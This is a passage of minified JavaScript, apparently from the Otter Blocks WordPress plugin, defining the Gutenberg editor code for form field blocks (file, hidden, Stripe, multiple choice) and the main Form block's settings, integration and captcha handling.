here..","otter-blocks"),className:"otter-form-input-label__label",value:e.label,onChange:e=>t({label:e}),tagName:"span"}),e.isRequired&&(0,i.createElement)("span",{className:"required"},"*")),"select"===e?.type?(0,i.createElement)(kl,{attributes:e,options:r}):(0,i.createElement)("div",{className:"o-form-choices"},r?.map(((l,o)=>(0,i.createElement)(hl,{key:o,fieldType:e.type,label:l.content,setAttributes:t,position:o,attributes:e,checked:l.isDefault,onChange:e=>{const l=[...r];l[o]={...l[o],content:e},t({options:l})}})))),e.helpText&&(0,i.createElement)("span",{className:"o-form-help"},e.helpText)))},save:()=>null,transforms:{to:[{type:"block",blocks:["themeisle-blocks/form-input"],transform:e=>{const t=(0,A.omit)(e,["type","multipleChoice","options"]);return(0,a.createBlock)("themeisle-blocks/form-input",{...t})}},{type:"block",blocks:["themeisle-blocks/form-textarea"],transform:e=>{const t=(0,A.omit)(e,["type","multipleChoice","options"]);return(0,a.createBlock)("themeisle-blocks/form-textarea",{...t})}},{type:"block",blocks:["themeisle-blocks/form-file"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-file",{...t})}},{type:"block",blocks:["themeisle-blocks/form-hidden-field"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-hidden-field",{...t})}},{type:"block",blocks:["themeisle-blocks/form-stripe-field"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-stripe-field",{...t})}}]}});var fl=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/form-file","title":"File Field","category":"themeisle-blocks","description":"Display a contact form for your clients.","keywords":["input","file","field"],"ancestor":["themeisle-blocks/form"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"type":{"type":"string","default":"file"},"label":{"type":"string"},"placeholder":{"type":"string"},"isRequired":{"type":"boolean"},"mappedName":{"type":"string"},"labelColor":{"type":"string"},"inputWidth":{"type":"number"},"helpText":{"type":"string"},"maxFileSize":{"type":"string"},"allowedFileTypes":{"type":"array","default":["image/*","audio/*","video/*"]},"saveFiles":{"type":"string","default":"media-library"},"multipleFiles":{"type":"boolean"},"fieldOptionName":{"type":"string"},"maxFilesNumber":{"type":"string"}},"supports":{"align":["wide","full"]}}');const vl=({attributes:e})=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.Disabled,null,(0,i.createElement)(p.TextControl,{label:(0,o.__)("Label","otter-blocks"),value:e.label,onChange:()=>{}}),(0,i.createElement)(Lt,{attributes:e,setAttributes:()=>{}}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Max File Size in MB","otter-blocks"),type:"number",value:e.maxFileSize,onChange:()=>{},help:(0,o.__)("You may need to contact your hosting provider to increase file sizes.","otter-blocks")}),(0,i.createElement)(p.FormTokenField,{label:(0,o.__)("Allowed File Types","otter-blocks"),value:e.allowedFileTypes,onChange:()=>{},help:(0,o.__)("Add the allowed files types that can be loaded. E.g.: jpg, zip, pdf.","otter-blocks")}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Help Text","otter-blocks"),value:e.helpText,onChange:()=>{}}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Required","otter-blocks"),help:(0,o.__)("If enabled, the input field must be filled out before submitting the form.","otter-blocks"),checked:e.isRequired,onChange:()=>{}}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Mapped Name","otter-blocks"),help:Ht,value:e.mappedName,onChange:()=>{},placeholder:(0,o.__)("photos","otter-blocks")}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Allow multiple file uploads","otter-blocks"),checked:e.multipleFiles,onChange:()=>{}}),e.multipleFiles&&(0,i.createElement)(p.TextControl,{label:(0,o.__)("Maximum number of files","otter-blocks"),type:"number",value:e.maxFilesNumber,onChange:()=>{}}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Save to Media Library","otter-blocks"),help:(0,o.__)("If enabled, the files will be saved to Media Library instead of adding them as attachments to email.","otter-blocks"),checked:"media-library"===e.saveFiles,onChange:()=>{}})),!Boolean(window.themeisleGutenberg.hasPro)&&(0,i.createElement)(g.qX,{notice:(0,i.createElement)(p.ExternalLink,{href:(0,h.Wi)(window.themeisleGutenberg.upgradeLink,"formfileblock")},(0,o.__)("Get more options with Otter Pro. ","otter-blocks")),variant:"upsell"}));var _l=({attributes:e,setAttributes:t,clientId:l})=>{const{selectForm:a}=(0,b.useContext)(qt);return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Field Settings","otter-blocks")},(0,i.createElement)(p.Button,{isSecondary:!0,variant:"secondary",onClick:()=>a?.()},(0,o.__)("Back to the Form","otter-blocks")),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Field Type","otter-blocks"),value:e.type,options:zt(),onChange:t=>{"file"!==t&&Ft(t,l,e)}}),(0,i.createElement)(vl,{attributes:e})),(0,i.createElement)(u.PanelColorSettings,{title:(0,o.__)("Color","otter-blocks"),initialOpen:!1,colorSettings:[{value:e.labelColor,onChange:()=>{},label:(0,o.__)("Label Color","otter-blocks")}]})),(0,i.createElement)(g.pO,{value:e.id,onChange:e=>t({id:e})}))};const{name:Cl}=fl;window.themeisleGutenberg.isAncestorTypeAvailable||(fl.parent=["themeisle-blocks/form"]),Boolean(window.themeisleGutenberg.hasPro)||(0,a.registerBlockType)(Cl,{...fl,title:(0,o.__)("File Field (Pro)","otter-blocks"),description:(0,o.__)("Display a file field for uploading.","otter-blocks"),icon:r.formFieldIcon,keywords:["input","field","file"],edit:e=>(0,i.createElement)(_l,{...e}),save:()=>null,transforms:{to:[{type:"block",blocks:["themeisle-blocks/form-input"],transform:e=>(0,a.createBlock)("themeisle-blocks/form-input",{...e})},{type:"block",blocks:["themeisle-blocks/form-textarea"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-textarea",{...t})}},{type:"block",blocks:["themeisle-blocks/form-multiple-choice"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-multiple-choice",{...t})}},{type:"block",blocks:["themeisle-blocks/form-hidden-field"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-hidden-field",{...t})}},{type:"block",blocks:["themeisle-blocks/form-stripe-field"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-stripe-field",{...t})}}]}});var wl=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/form-hidden-field","title":"Hidden Field","category":"themeisle-blocks","description":"A field used for adding extra metadata to the Form via URL params.","keywords":["metadata","hidden","field"],"textdomain":"otter-blocks","ancestor":["themeisle-blocks/form"],"attributes":{"id":{"type":"string"},"label":{"type":"string"},"paramName":{"type":"string"},"mappedName":{"type":"string"},"inputWidth":{"type":"number"},"defaultValue":{"type":"string"}},"supports":{"align":["wide","full"]}}'),El=({attributes:e,setAttributes:t,clientId:l})=>{var a;const{selectForm:n}=(0,b.useContext)(qt);return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Field Settings","otter-blocks")},(0,i.createElement)(p.Button,{isSecondary:!0,variant:"secondary",onClick:()=>n?.()},(0,o.__)("Back to the Form","otter-blocks")),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Field Type","otter-blocks"),value:null!==(a=e.type)&&void 0!==a?a:"hidden",options:zt(),onChange:t=>{"hidden"!==t&&Ft(t,l,e)}}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Label","otter-blocks"),value:e.label,onChange:void 0,help:(0,o.__)("The label will be used as the field name.","otter-blocks"),disabled:!0}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Query Param","otter-blocks"),value:e.paramName,onChange:void 0,help:(0,o.__)("The query parameter name that is used in URL. If the param is present, its value will be extracted and send with the Form.","otter-blocks"),placeholder:(0,o.__)("e.g. utm_source","otter-blocks"),disabled:!0}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Mapped Name","otter-blocks"),help:Ht,value:e.mappedName,onChange:()=>{},placeholder:(0,o.__)("photos","otter-blocks")}),(0,i.createElement)(g.qX,{notice:(0,i.createElement)(p.ExternalLink,{href:(0,h.Wi)(window.themeisleGutenberg.upgradeLink,"formfileblock")},(0,o.__)("Get more options with Otter Pro. ","otter-blocks")),variant:"upsell"})))};const{name:xl}=wl;window.themeisleGutenberg.isAncestorTypeAvailable||(wl.parent=["themeisle-blocks/form"]),Boolean(window.themeisleGutenberg.hasPro)||(0,a.registerBlockType)(xl,{...wl,title:(0,o.__)("Hidden Field (PRO)","otter-blocks"),description:(0,o.__)("A field used for adding extra metadata to the Form via URL params.","otter-blocks"),icon:r.formFieldIcon,edit:e=>(0,i.createElement)(El,{...e}),save:()=>null,transforms:{to:[{type:"block",blocks:["themeisle-blocks/form-input"],transform:e=>(0,a.createBlock)("themeisle-blocks/form-input",{...e})},{type:"block",blocks:["themeisle-blocks/form-textarea"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-textarea",{...t})}},{type:"block",blocks:["themeisle-blocks/form-multiple-choice"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-multiple-choice",{...t})}},{type:"block",blocks:["themeisle-blocks/form-file"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-file",{...t})}}]}});var Sl=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/form-stripe-field","title":"Stripe Field","category":"themeisle-blocks","description":"A field used for adding Stripe products to the form.","keywords":["product","stripe","field"],"textdomain":"otter-blocks","ancestor":["themeisle-blocks/form"],"attributes":{"id":{"type":"string"},"fieldOptionName":{"type":"string"},"type":{"type":"string"},"label":{"type":"string"},"labelColor":{"type":"string"},"mappedName":{"type":"string"},"inputWidth":{"type":"number"},"product":{"type":"string"},"price":{"type":"string"}},"supports":{"align":["wide","full"]}}'),Tl=({attributes:e,setAttributes:t,clientId:l})=>{var a;const{selectForm:n}=(0,b.useContext)(qt);return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Field Settings","otter-blocks")},(0,i.createElement)(p.Button,{isSecondary:!0,variant:"secondary",onClick:()=>n?.()},(0,o.__)("Back to the Form","otter-blocks")),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Field Type","otter-blocks"),value:null!==(a=e.type)&&void 0!==a?a:"stripe",options:zt(),onChange:t=>{"stripe"!==t&&Ft(t,l,e)}}),(0,i.createElement)(g.qX,{notice:(0,i.createElement)(p.ExternalLink,{href:(0,h.Wi)(window.themeisleGutenberg.upgradeLink,"formfileblock")},(0,o.__)("Get more options with Otter Pro. ","otter-blocks")),variant:"upsell"})))};const{name:Bl}=Sl;window.themeisleGutenberg.isAncestorTypeAvailable||(Sl.parent=["themeisle-blocks/form"]),Boolean(window.themeisleGutenberg.hasPro)||(0,a.registerBlockType)(Bl,{...Sl,title:(0,o.__)("Stripe Field (PRO)","otter-blocks"),description:(0,o.__)("A field used for adding Stripe products to the form.","otter-blocks"),icon:r.formFieldIcon,edit:e=>(0,i.createElement)(Tl,{...e}),save:()=>null,transforms:{to:[{type:"block",blocks:["themeisle-blocks/form-input"],transform:e=>(0,a.createBlock)("themeisle-blocks/form-input",{...e})},{type:"block",blocks:["themeisle-blocks/form-textarea"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-textarea",{...t})}},{type:"block",blocks:["themeisle-blocks/form-multiple-choice"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-multiple-choice",{...t})}},{type:"block",blocks:["themeisle-blocks/form-file"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-file",{...t})}},{type:"block",blocks:["themeisle-blocks/form-hidden-field"],transform:e=>{const t=(0,A.omit)(e,["type"]);return(0,a.createBlock)("themeisle-blocks/form-hidden-field",{...t})}}]}});const{name:Ml}=ht;(0,a.registerBlockType)(Ml,{...ht,title:(0,o.__)("Form","otter-blocks"),description:(0,o.__)("Display a form for your clients. Powered by Otter.","otter-blocks"),icon:r.formIcon,keywords:["business","form","email"],edit:({attributes:e,setAttributes:t,clientId:l,isSelected:n,name:s})=>{var d,g;const[f,v]=(0,b.useState)(""),[_,C]=(0,b.useState)(""),{responsiveGetAttributes:w}=(0,k.Y)(t),[E,x]=(0,b.useState)({formOptions:"loading",formIntegration:"done",listId:"init",captcha:"init",serviceTesting:"init"}),S=e=>{x((t=>({...t,...e})))},T=t=>e?.isSynced?.includes(t)?(0,y.getDefaultValueByField)({name:s,field:t,defaultAttributes:Zt,attributes:e}):e?.[t],[B,M]=(0,b.useState)({provider:void 0,redirectLink:void 0,fromName:void 0,emailTo:void 0,subject:void 0,email:void 0,listId:void 0,action:void 0,hasCaptcha:void 0,submitMessage:void 0,errorMessage:void 0,apiKey:void 0,cc:void 0,bcc:void 0,autoresponder:void 0,submissionsSaveLocation:void 0}),{insertBlock:P,removeBlock:z,replaceInnerBlocks:F,selectBlock:R,moveBlockToPosition:L}=(0,m.useDispatch)("core/block-editor"),O=(0,A.debounce)((()=>{const e=(0,a.createBlock)("core/spacer",{height:"0px"});P(e,0,l,!1),z(e.clientId,!1)}),3e3),[I,H]=(0,b.useState)(!0),[N,V]=(0,b.useState)(!1),[D,G]=(0,b.useState)(!1),[j,W]=(0,b.useState)([{label:(0,o.__)("None","otter-blocks"),value:""}]),{createNotice:$}=(0,m.useDispatch)("core/notices"),U=(0,m.useSelect)((e=>0<e("core/block-editor").getBlocks(l).length),[l]),{blockType:Z,defaultVariation:q,variations:Y}=(0,m.useSelect)((e=>{const{getBlockVariations:t,getBlockType:l,getDefaultBlockVariation:o}=e("core/blocks");return{blockType:l(s),defaultVariation:o(s,"block"),variations:t(s,"block")}}),[s]),[K,J]=(0,b.useState)(!1),{children:X,hasProtection:Q,currentBlockPosition:ee}=(0,m.useSelect)((e=>{const{getBlock:t,getBlockOrder:o}=e("core/block-editor"),a=t(l).innerBlocks;return{currentBlockPosition:o().indexOf(l),children:a,hasProtection:0<a?.filter((({name:e})=>"themeisle-blocks/form-nonce"===e))?.length}})),{canSaveData:te}=(0,m.useSelect)((e=>{const t=e("core/editor")?.isSavingPost(),l=e("core/editor")?.isPublishingPost(),o=e("core/editor")?.isAutosavingPost(),a=e("core/edit-widgets")?.isSavingWidgetAreas(),n=e("core/editor")?.isSavingNonPostEntityChanges();return{canSaveData:!o&&(t||l||n)||a}})),le=(0,m.useSelect)((e=>{const{getBlockParentsByBlockName:t}=e("core/block-editor"),o=t(l,"themeisle-blocks/content-generator");return 0<o?.length}),[l]),oe=e.optionName&&Q;(0,b.useEffect)((()=>{te&&!le&&re()}),[te]),(0,b.useEffect)((()=>{const t=(0,y.blockInit)(l,Zt);return()=>t(e.id)}),[e.id]),(0,b.useEffect)((()=>{e.id&&(0,m.select)("core/edit-widgets")?t({optionName:`widget_${e.id.slice(-8)}`}):e.id&&t({optionName:`${vt()({url:window.location.pathname})}_${e.id.slice(-8)}`})}),[e.id]),(0,b.useEffect)((()=>{if(X){const e=X.filter((({name:e})=>"themeisle-blocks/form-nonce"===e));if(2<=e?.length)e.slice(1).forEach((e=>{z(e.clientId,!1)}));else if(0===e?.length&&l){const e=(0,a.createBlock)("themeisle-blocks/form-nonce");e&&P?.(e,X?.length||0,l,!1)}}if(B.autoresponder||B.provider||B.listId||B.action){const e=(0,h.DY)(X,(e=>"email"===e?.attributes?.type&&"themeisle-blocks/form-input"===e?.name),(e=>"themeisle-blocks/form"!==e?.name));J(0<e?.length),V(0===e?.length)}if(B.webhookId){const e=(0,h.DY)(X,(e=>e?.name?.startsWith("themeisle-blocks/form-")),(e=>"themeisle-blocks/form"!==e?.name)),t=[];let l=!1;for(const o of e)if(o?.attributes?.mappedName){if(t.includes(o?.attributes?.mappedName)){l=o.clientId;break}t.push(o?.attributes?.mappedName)}G(l)}}),[X,B.autoresponder,B.provider,B.listId,B.action,B.webhookId]);const ae=t=>t?.filter((({form:t})=>t===e.optionName)).pop(),ne=e=>{M({emailTo:e?.email,fromName:e?.fromName,redirectLink:e?.redirectLink,subject:e?.emailSubject,cc:e?.cc,bcc:e?.bcc,submitMessage:e?.submitMessage,errorMessage:e?.errorMessage,provider:e?.integration?.provider,apiKey:e?.integration?.apiKey,listId:e?.integration?.listId,action:e?.integration?.action,hasCaptcha:e?.hasCaptcha,autoresponder:e?.autoresponder,autoresponderSubject:e?.autoresponderSubject,submissionsSaveLocation:e?.submissionsSaveLocation,webhookId:e?.webhookId,requiredFields:e?.requiredFields})};(0,b.useEffect)((()=>{let t=new AbortController;const l=setTimeout((()=>{S({formOptions:"done",formIntegration:"done"})}),2e4);if(e.optionName){S({formOptions:"loading",formIntegration:"loading"});try{Ct().loadPromise.then((()=>{S({formOptions:"loading",formIntegration:"loading"}),(new(Ct().models.Settings)).fetch({signal:t.signal}).done((e=>{t=null;const o=ae(e.themeisle_blocks_form_emails);o&&(ne(o),H(o)),S({formIntegration:"done",formOptions:"done"}),clearTimeout(l)})).catch((()=>{S({formIntegration:"done",formOptions:"done"}),clearTimeout(l)}))}))}catch(e){console.error(e),S({formOptions:"error"})}}return()=>{t?.abort(),clearTimeout(l)}}),[e.optionName]);const re=()=>{S({formOptions:"saving"});const t={form:e.optionName};B.requiredFields=ie(),Object.keys(Yt).forEach((e=>{t[e]=B[Yt[e]]}));try{(new class{constructor(){return window?.deferredWpOptionsSave?window?.deferredWpOptionsSave:(this.changes=[],this.wpOptions={},this.timeout=null,this.timeoutTime=1500,this.abort=null,window.deferredWpOptionsSave=this,this)}createSettings(){return new(Ct().models.Settings)}save(e,t,l=(()=>{})){this.changes.push({optionType:e,value:t,callback:l}),this.timeout&&(this.abort?.abort?.(),clearTimeout(this.timeout)),this.timeout=setTimeout((()=>{this.commitChanges()}),this.timeoutTime)}commitChanges(){this.abort=new AbortController,this.createSettings().fetch({signal:this.abort.signal}).done((e=>{this.wpOptions=e;const t=new Set;this.changes.forEach((e=>{const l=(0,A.isFunction)(e.value)?e.value(null):e.value;if("field_options"===e.optionType&&this.wpOptions.themeisle_blocks_form_fields_option){const o=this.wpOptions.themeisle_blocks_form_fields_option;if(!o)return;const a=o.findIndex((e=>e.fieldOptionName===l.fieldOptionName));-1!==a?o[a]=(0,A.isFunction)(e.value)?e.value(o[a]):l:o.push(l),t.add("themeisle_blocks_form_fields_option")}if("form_options"===e.optionType&&this.wpOptions.themeisle_blocks_form_emails){const o=this.wpOptions.themeisle_blocks_form_emails;if(!o)return;const a=o.findIndex((({form:e})=>e===l.form));-1!==a?o[a]=(0,A.isFunction)(e.value)?e.value(o[a]):l:o.push(l),t.add("themeisle_blocks_form_emails")}}));const l=(0,A.pick)(this.wpOptions,Array.from(t));new(Ct().models.Settings)(l).save().then((e=>{this.wpOptions=e,this.changes.forEach((t=>{t?.callback?.(e,null)})),this.changes=[]})).catch((e=>{this.changes.forEach((t=>{t?.callback?.(this.wpOptions,e)})),this.changes=[]}))}))}}).save("form_options",(e=>null===e?t:(Object.keys(t).forEach((l=>{e[l]=t[l]})),e)),((e,t)=>{t?S({formOptions:"error"}):(S({formOptions:"done"}),$("info",(0,o.__)("Form options have been saved.","otter-blocks"),{isDismissible:!0,type:"snackbar"}))}))}catch(e){S({formOptions:"error"})}},ie=()=>{const e=(0,h.DY)(X,(e=>"themeisle-blocks/form-stripe-field"===e.name),(e=>"themeisle-blocks/form"!==e?.name));return e?.map((e=>e.attributes.fieldOptionName))||[]};(0,b.useEffect)((()=>{let e,t=new AbortController;return B.apiKey&&B.provider&&(e=setTimeout((()=>S({listId:"timeout"})),6e3),S({listId:"loading"}),Et()({path:"otter/v1/form/editor",method:"POST",data:{handler:"listId",payload:{provider:B.provider,apiKey:B.apiKey,action:B.action}},signal:t.signal}).then((l=>{if(t=null,clearTimeout(e),l?.success){const e=l?.list_id?.map((e=>({label:e.name,value:e.id?.toString()})))||[];e.splice(0,0,{label:(0,o.__)("None","otter-blocks"),value:""}),W(e),S({listId:"done"});const t=1===e.map((({value:e})=>e)).filter((e=>e===B.listId)).length;B.listId&&!t&&$("error",(0,o.__)("The current contact list is invalid. Please choose a new contact list.","otter-blocks"),{isDismissible:!0,type:"snackbar"})}else{var a,n;$("error",null!==(a=null!==(n=l?.error)&&void 0!==n?n:l?.reasons?.join(". "))&&void 0!==a?a:(0,o.__)("An error has occurred.","otter-blocks"),{isDismissible:!0,type:"snackbar",id:"themeisle-form-server-error"}),S({listId:"error"})}})).catch((e=>{console.error(e),S({listId:"error"})}))),()=>{t?.abort(),clearTimeout(e)}}),[B.apiKey,B.provider]),(0,b.useEffect)((()=>{let t=new AbortController;if(void 0!==e.hasCaptcha&&e.optionName)try{(new(Ct().models.Settings))?.current?.fetch({signal:t.signal}).done((l=>{t=null;const a=l.themeisle_blocks_form_emails?l.themeisle_blocks_form_emails:[];let n=!0,r=!1;a?.forEach((({form:t},l)=>{t===e.optionName&&(a[l].hasCaptcha!==e.hasCaptcha&&(r=!0),a[l].hasCaptcha=e.hasCaptcha,n=!1)})),n&&a.push({form:e.optionName,hasCaptcha:e.hasCaptcha}),(n||r)&&(new(Ct().models.Settings)({themeisle_blocks_form_emails:a}).save(),$("info",(0,o.__)("Form preferences have been saved.","otter-blocks"),{isDismissible:!0,type:"snackbar"}))}))}catch(e){console.warn(e.message)}return()=>t?.abort()}),[e.hasCaptcha,e.optionName]),(0,b.useEffect)((()=>{let t=new AbortController;return e.hasCaptcha&&"init"===E?.captcha&&(()=>{S({captcha:"loading"});try{(new(Ct().models.Settings))?.fetch({signal:t.signal}).then((e=>{t=null,""!==e.themeisle_google_captcha_api_site_key&&""!==e.themeisle_google_captcha_api_secret_key?S({captcha:"done"}):(S({captcha:"missing"}),v(e.themeisle_google_captcha_api_site_key),C(e.themeisle_google_captcha_api_secret_key))})).catch((e=>{console.error(e),S({captcha:"error"})}))}catch(e){console.warn(e.message),S({captcha:"error"})}})(),()=>t?.abort()}),[E.captcha,e.hasCaptcha]);const se={"--message-font-size":T("messageFontSize"),"--input-font-size":T("inputFontSize"),"--help-font-size":T("helpFontSize"),"--input-color":T("inputColor"),"--padding":(0,h.tP)(w([T("inputPadding"),T("inputPaddingTablet"),T("inputPaddingMobile")]),"px"),"--border-radius":(0,h.tP)(T("inputBorderRadius"),"px"),"--border-width":(0,h.tP)(T("inputBorderWidth"),"px"),"--border-color":T("inputBorderColor"),"--label-color":T("labelColor"),"--input-width":void 0!==T("inputWidth")&&T("inputWidth")+"%","--submit-color":T("submitColor"),"--submit-bg-color":T("submitBackgroundColor"),"--submit-color-hover":T("submitColorHover"),"--submit-bg-color-hover":T("submitBackgroundColorHover"),"--required-color":T("inputRequiredColor"),"--input-gap":void 0!==T("inputGap")&&T("inputGap")+"px","--inputs-gap":void 0!==T("inputsGap")&&T("inputsGap")+"px","--label-font-size":(0,h.Yj)(T("labelFontSize")),"--submit-font-size":T("submitFontSize"),"--help-label-color":T("helpLabelColor"),"--input-bg-color":T("inputBackgroundColor"),"--btn-pad":(0,h.tP)(w([T("buttonPadding"),T("buttonPaddingTablet"),T("buttonPaddingMobile")]),"px")},ce=(0,u.useBlockProps)({id:e.id,style:se}),de={select:e=>{0<X?.length&&R(e)},move:(e,t)=>{const o=X.find((t=>t.clientId===e))?.clientId;o&&L(o,l,l,t)},delete:e=>{0<X?.length&&z(e,!1)},add:e=>{const t=(0,a.createBlock)(e);P(t,X?.length||0,l,!1)}};return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(qt.Provider,{value:{savedFormOptions:I,listIDOptions:j,setListIDOptions:W,saveFormEmailOptions:re,formOptions:B,setFormOption:e=>{(e=>{M((t=>({...t,...e})))})(e),O()},saveIntegration:()=>{S({formIntegration:"saving"}),(new(Ct().models.Settings))?.fetch().done((l=>{const a=l.themeisle_blocks_form_emails?l.themeisle_blocks_form_emails:[];let n=!0,r=!1;a?.forEach((({form:t},l)=>{t===e.optionName&&(a[l]?.integration||(a[l].integration={}),r=a[l].integration?.provider!==B.provider||a[l].integration?.listId!==B.listId||a[l].integration?.action!==B.action||a[l].integration?.apiKey!==B.apiKey,n=!1,a[l].integration.provider=B.provider,a[l].integration.apiKey=B.apiKey,a[l].integration.listId=B.listId,a[l].integration.action=B.action)})),n&&a.push({form:e.optionName,integration:{provider:B.provider,apiKey:B.apiKey,listId:B.listId,action:B.action}}),n||r?new(Ct().models.Settings)({themeisle_blocks_form_emails:a}).save().then((e=>{const l=ae(e.themeisle_blocks_form_emails);l&&(ne(l),t({action:l?.integration?.action})),S({formIntegration:"done"}),$("info",(0,o.__)("Integration details have been saved.","otter-blocks"),{isDismissible:!0,type:"snackbar"})})).catch((e=>{console.error(e),S({formIntegration:"error"})})):S({formIntegration:"done"})})).catch((()=>{S({formIntegration:"error"})}))},sendTestEmail:()=>{Et()({path:"otter/v1/form/editor",method:"POST",data:{handler:"testEmail",payload:{provider:"default",to:B?.emailTo,site:window.location.href}}}).then((e=>{e?.success?$("info",(0,o.__)("The test email has been send. Check your emails for confirmation.","otter-blocks"),{isDismissible:!0,type:"snackbar"}):$("error",(0,o.__)("An error has occurred: ","otter-blocks")+(e?.error||(0,o.__)("unknown","otter-blocks")),{isDismissible:!0,type:"snackbar"})})).catch((e=>{console.error(e),$("error",e?.message,{isDismissible:!0,type:"snackbar"})}))},loadingState:E,testService:()=>{S({serviceTesting:"loading"}),Et()({path:"otter/v1/form/editor",method:"POST",data:{handler:"testEmail",payload:{formOption:e.optionName}}}).then((e=>{e?.success?($("info",(0,o.__)("A test email has been registered to your contact list. Check your provider for confirmation.","otter-blocks"),{isDismissible:!0,type:"snackbar"}),S({serviceTesting:"done"})):($("error",(0,o.__)("An error has occurred: ","otter-blocks")+(e?.error||(0,o.__)("unknown","otter-blocks")+(0,o.__)(". Check your provider for confirmation.","otter-blocks")),{isDismissible:!0,type:"snackbar"}),S({serviceTesting:"error"}))})).catch((e=>{console.error(e),$("error",e?.message,{isDismissible:!0,type:"snackbar"}),S({testService:"error"})}))},hasEmailField:K,children:X,inputFieldActions:de,hasInnerBlocks:U,selectForm:()=>R(l),showAutoResponderNotice:N}},(0,i.createElement)(jt,{attributes:e,setAttributes:t}),(0,i.createElement)(u.BlockControls,null,(0,i.createElement)(p.ToolbarGroup,null,(0,i.createElement)(p.Button,{onClick:()=>{const e=(0,a.createBlock)("themeisle-blocks/content-generator",{promptID:"form"});(0,y.insertBlockBelow)(l,e)}},(0,o.__)("Create Form With AI","otter-blocks"),(0,i.createElement)(xt.Z,{width:22,icon:r.aiGeneration,style:{marginLeft:"8px"}})))),(0,i.createElement)("div",{...ce},U?(0,i.createElement)("form",{className:"otter-form__container",onSubmit:()=>!1},(0,i.createElement)("style",null,`#block-${l} .wp-block-button .wp-block-button__link:not(:hover) `+(0,h.iC)([["color",T("submitColor")],["background-color",T("submitBackgroundColor")]]),`#block-${l} .wp-block-button .wp-block-button__link:hover `+(0,h.iC)([["color",T("submitColorHover")],["background-color",T("submitBackgroundColorHover")]])),(0,i.createElement)(u.InnerBlocks,null),e.hasCaptcha&&"done"!==E?.captcha&&(0,i.createElement)(Wt,{className:"otter-form-captcha",loadingState:E,saveAPIKey:()=>{S({captcha:"loading"});try{const e=new(Ct().models.Settings)({themeisle_google_captcha_api_site_key:f,themeisle_google_captcha_api_secret_key:_});e?.save?.()?.then((e=>{""!==e.themeisle_google_captcha_api_site_key&&""!==e.themeisle_google_captcha_api_secret_key?S({captcha:"done"}):S({captcha:"missing"}),C(""),v(""),$("info",(0,o.__)("Google reCaptcha API Keys have been saved.","otter-blocks"),{isDismissible:!0,type:"snackbar"}).catch((e=>{console.error(e),S({captcha:"error"})}))}))?.catch((e=>{console.error(e),S({captcha:"error"})}))}catch(e){console.warn(e.message),S({captcha:"error"})}},siteKey:f,secretKey:_,setSiteKey:v,setSecretKey:C}),"submit-subscribe"===e.action&&(0,i.createElement)("div",{className:"otter-form-consent"},(0,i.createElement)("input",{id:"o-consent",name:"o-consent",type:"checkbox"}),(0,i.createElement)("label",{htmlFor:"o-consent"},(0,o.__)("I have read and agreed the privacy statement.","otter-blocks"))),(0,i.createElement)("div",{className:c()("wp-block-button has-submit-msg",{left:"left"===e.submitStyle},{right:"right"===e.submitStyle},{full:"full"===e.submitStyle},{"o-full-tablet":"full"===e.submitStyleTablet},{"o-right-tablet":"right"===e.submitStyleTablet},{"o-left-tablet":"left"===e.submitStyleTablet},{"o-full-mobile":"full"===e.submitStyleMobile},{"o-right-mobile":"right"===e.submitStyleMobile},{"o-left-mobile":"left"===e.submitStyleMobile},{"o-center":"center"===e.submitStyle},{"o-center-tablet":"center"===e.submitStyleTablet},{"o-center-mobile":"center"===e.submitStyleMobile})},(0,i.createElement)(u.RichText,{className:"wp-block-button__link",placeholder:(0,o.__)("Submit","otter-blocks"),value:e.submitLabel,onChange:e=>{e=e.replace(/<br\s*\/?>/gi," "),t({submitLabel:e})},multiline:!1,multiple:!1,tagName:"button",type:"submit",onClick:e=>e.preventDefault()}),n&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)("div",null,(0,i.createElement)("div",{className:"o-form-server-response o-success",style:{color:e.submitMessageColor}},null!==(d=B.submitMessage)&&void 0!==d?d:(0,o.__)("Success","otter-blocks")),(0,i.createElement)("div",{className:"o-form-server-response 